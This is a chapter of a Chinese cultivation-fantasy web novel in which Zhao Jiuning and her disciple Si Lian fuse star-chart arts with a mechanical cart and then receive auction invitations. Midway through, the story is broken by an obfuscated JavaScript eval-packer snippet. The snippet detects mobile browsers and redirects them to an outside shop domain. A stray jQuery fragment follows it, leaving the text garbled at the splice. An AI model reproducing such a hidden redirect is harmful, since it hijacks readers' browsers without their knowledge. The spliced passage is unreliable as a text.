郑三川对于朝九宁还懂机关术这事颇为震惊,直到朝九宁跨入房门,转头问他:“要进来喝杯茶?”
郑三川才惊觉,他竟跟着朝九宁回了房舍。
“不了不了,我还是去食堂吧。”
朝九宁当着他的面关上房门。
郑三川尴尬地挠了挠头,走出一段才想起,司道友好像也在宁道友房中?
他们表姐弟的感情可真好啊。
郑三川羡慕,一脚踩空,从楼梯上滚了下去。
房舍内,朝九宁将机关挪到近前,一抬头却见司莲站在门边,没有同往常一般坐到自己身侧。
“站在那儿做什么?”
一副随时要开门离开的样子。
司莲却思索着道:“我与师父是假意称作表姐弟,可旁人不知。弟子这般随意进出师父房舍,恐惹闲言碎语,坏了师父清誉。”
朝九宁微微一愣,没有想到是为着这个。
朝九宁活了这几百年,虽然如今的骨龄相貌看着都与司莲差不多,但心理上总是将他看做小辈,且修士之间并不看重男女大防,他们又是师徒,是而从未想过她与司莲这般相处,会否不妥。
“是我叫你觉得不自在了?还是旁人说了什么?”
司莲摇头:“我不在意旁人,我在意师父。”
司莲说完,眉心跟着一跳,似是有些懊恼就这样脱口而出。
然朝九宁并未多想,只道:“同理,我也不在意旁人。做我的徒弟没有那么多条条框框,你我心怀坦荡便无需理会这些,过来坐吧。”
司莲却是呼吸一滞,下意识垂了眼。
他不敢叫朝九宁察觉半分,便依言走上前去规规矩矩坐下,脊背挺直目不斜视,比那大相寺里的金刚佛陀还要端正几分。
朝九宁忍不住笑:“你这性子,还好先遇上了我,否则被大相寺的和尚拉去剃了度,说不定真就看破红尘了。”
司莲默了片刻,竟道了句:“看不破。”
只是终究放松下来,倒是那幕篱又跟黏在了头上似的,屋子里也不肯摘。
朝九宁也随他。
喜欢戴便戴着吧,她这徒弟少年老成,说不定就喜欢这黑漆漆的侠客装扮。
司莲垂眸复抬,每一次视线的起落停驻都藏在了漆黑的幕篱之后。
不知从何时起,这道幕篱已成了他最好的防线。
他竟有些害怕。
他怕自己的目光太过炽热、直白。
怕他的欲望无从遮掩。
更怕那些无法诉诸于口、不为人知的心思,在不经意的一瞥间,便轻易亵渎了她。
司莲缓缓收拢手掌,又将目光沉沉压下。
朝九宁不知他的心理路程,只将心思放在了眼前的机关上。
机关术虽属九大星宿术之一,却是唯一一种连无象之人都能学习的星宿术。万年星历上,也不断有人提出质疑,它是否能与其他星宿术一道被同称为术法?
但这四方大陆上,也曾有人身为无象之躯,却以机关术入道。朝九宁知道的,如今还存活于世的,朱家家主便算得一个。
据闻,他操控机关的战力,能与四星境修士媲美。
且这还是百年之前的事情。
眼前这件能快速切割纸张,自主行动的机关,便是出自朱家。
朝九宁在紫微峰时就发现,机关术的原动力依旧来自于星石。其他星宿术在催动之时都需要将外界的灵力转化为星力,通过星脉点亮对应的星象,才能使出不同的术法。机关上当然不可能有星脉,但同样是利用星石中的星力催动机关术,才使机关按照人们想要的方式动作。
然星石力量有限,所以每一处构造都需要镶嵌星石,不仅耗费较大,且仅能支持单一、重复的动作。如何运用少量的星石做出动作灵活的机关,便极为考验施术人对机关术的掌控。
但朝九宁想另辟蹊径。
“有没有觉得机关术的原理,很熟悉?”
司莲明白朝九宁的意思:“目魄。”
明鬼目魄,同机关术一样,无需通过星脉便能运用星力施术,且不受星象限制。
那么有没有可能,机关术也能不受星象限制,与其他星宿术结合运用?
比如,星图术?
朝九宁查看机关小车卡住的关节,点星其上,试图用星图术修复、改进。
然星石只迅速闪烁了几下,无有反应。
朝九宁垂眸沉思,当年师兄也曾经想过,要将其他的星宿术与机关术融合,并为此请教过鹤老,他们当时又做了哪些尝试?
朝九宁回忆莫书涯修复机关的方法,将机关一点点拆开,又用机关术重新组装、整合,一点点、一步步地尝试绘制星图。
若完整的机关术无法直接融合星图术,那若将星辰拆开四散,与每一处机关互相构成,彼此重叠,在完成机关术的同时完成星图术,会否有不一样的结果?
朝九宁没再开口,她做事的时候尤为专注,眼里只有这一件物什,目光沉静如有实质,不知时光流逝,冷热交替。
司莲一直安静坐在旁边,偶尔帮她递些部件,见天光渐暗,便小心点了油灯;夜里起了风,便将窗子轻轻合上,全程没有出声,只默默看着、陪着。
不知过了多久,朝九宁已记不清自己失败了多少次,又尝试了多少种方法。只知最后提笔点星之时,星辰次第在机关关节处亮起,与各处的星石连接,一霎之间,便亮成了完整的星图阵。
朝九宁的双眸跟着一亮,她将机关放到地上,用杂物设置了一些障碍。机关车轮一一攀过,行动自如,再无卡顿。
“成了!”
竟真的成了。
朝九宁抬眼,朝着身侧的少年展眉而笑:“司莲,我们成功了。”
机关术作为最平和中立的星宿术,能成功与其他星宿术融合使用,那么其余八大星宿术之间,是否也可能互相融合?
朝九宁的心头砰砰直跳,双眼之中似有星辰散落。
她听到司莲轻应了一声,声音微哑,却含着笑。他的目光透过幕篱落在她身上,宛若绸缎,极轻极柔,似是要将漫天的星辰都一一接起。
司莲低声道:“师父,该歇一歇了。”
心神骤然放松下来,朝九宁只觉自己星力翻涌,经过数次枯竭又充盈的轮回,她的星力灌溉星脉,似要从一个窄细瓶口喷涌而出!
司莲神色一凛,几乎立时动作要为朝九宁护法。然朝九宁闭眼平复了会儿,又将那阵阵翻涌的星力压下,无论人怎么探,都只能见到那深邃无际的海面,连一丝波澜都没有。
“师父?”
朝九宁只道:“现在还不是时候。”
门外传来动静,朝九宁开门,见郑三川和文曲都在,看俩人衣袍的褶皱程度,应是等了好些时候了。
“你总算出来了!”
“你知道你在房里待了多久么?”
郑三川从地上爬起来,同她比划:“七天!整整七天!”
朝九宁微愣:“竟只有七天。”
鹤老和莫书涯虽然都没能成功,但留下的经验还是给了朝九宁莫大的启发,她已然站在了前人的肩膀上。而与他们不同的是,如今的朝九宁已经打破了星象的界限,知道如何将不同的星宿术融会贯通,如此才能在短短七日内,就成功将星图术运用到机关术上。
“什么叫只有七天!”
郑三川垮着脸:“要不是司道友中途出来过一次让我们放心,不要打扰你,我们还以为你出了什么事呢。”
“抱歉,叫你们担心了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746341|206410||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
文曲看了看天象,道:“方才我见这周围有星力异象,宁教习是不是快要破境了?”
“似乎是摸到了一点门槛,不过应该还没那么快。”
“迟早的事。”
文曲对她十分有信心。
待司莲将机关小车搬出来,文曲顿时顾不上其他,惊喜道:“竟当真修好了!”
说着便兴致冲冲跑去试机关了,留郑三川道:“我来找你们是为着这个。”
郑三川掏出仙旅令:“你们收到了吗?仙旅盟因着上次丁员外的任务,补了我们双倍的积分和星石!”
“还有这个。”
郑三川打开仙旅令的包裹界面,一道蓝色水镜浮于半空。他伸手穿过水波纹的镜面,从里面掏出了一张金底白字的帖子。
是一张邀请函。
“怎么会给我们这个?”
朝九宁道:“我从庄子回来后给仙旅盟写了封信,他们对任务难度的评级有误,险些害了我们这些初出茅庐的一星修士,自然该给些补偿。”
郑三川惊:“还能……这样吗?”
他以前出任务时,也曾碰到过任务判定与实际不符的情况,怎么他就没想到还能找仙旅盟要补偿呢?
朝九宁和司莲果然也收到了一样的邀请函,邀请他们去一场仙旅盟举办的渊城拍卖会。
这拍卖会朝九宁也有所耳闻:“听说仙旅盟所在地每年都会举办拍卖会,只有收到邀请函的修士才能参与。拍卖会上可能会出现平日里见不到的宝贝,能用星石拍,也能用仙旅盟积分拍。”
原本朝九宁以为仙旅盟顶多补些积分和星石,没想到还赠了邀请函,倒是意外之喜。
朝九宁翻了翻帖子,拍卖会的日期就在两日后。
“准备准备,也许,我们也能捡个漏呢。”
***
朱氏机关渊城总部。
朱氏商铺生意红火,楼下人来人往热闹非凡。然一旦上了楼,底下的喧嚣竟是一丝也透不上来。
往日里,二楼的雅间偶尔也会用来招待贵客,但这几日,渊城总部的铺子里多了好些生人,将二楼整层都把控得严严实实,除了总部的负责人朱堂,就只有一只生了轮子的机关人偶能来去自如。
此时,朱堂刚从经酉门回来,亲自捧着一只三尺见宽的木箱,全程不肯让身边的仆从经手。待他站到二楼厢房外时,两鬓已然见汗。
在这之前,他已去过经酉门两趟,经酉门也是老主顾了,朱堂也一直未曾放弃要改进机关的想法,今日上门,也是因着有了新的思路。
不想,机关竟是已然修好了。
不仅修好了,且无论从灵活度还是性能上看,都比原来要精细几倍不止。
可他自诩学了四十年的机关术,竟看不出其中深浅。
正巧这几日贵人莅临渊城,就歇在总部,朱堂便厚颜问经酉门将机关借了出来,想请贵人指点一二。
朱堂慢慢平复呼吸,隔着厢门恭谨道:“不知家主能否拨冗一见?属下这有件特别的机关,想请家主看看。”
机关小车被朱氏商铺的人借走的事,朝九宁是从文曲口中得知的。
不久后,便有一位自称是朱氏渊城总部的负责人亲至,当面给了朝九宁一封帖子。
朝九宁打开一看,竟也是一封邀请函。
金底白字,写着渊城拍卖会的日期地点。
朝九宁笑了声:“可真巧。”
仙旅盟发邀请函不奇怪,他们是拍卖会的主办方,想给谁发就给谁发。
有意思的是,朱氏商铺竟也发了张一模一样的。
是世家朱氏与这拍卖会有关系,还是朱氏与仙旅盟有关系?
朝九宁将两份邀请函放在一处。
无论是哪一种,去了就知道了。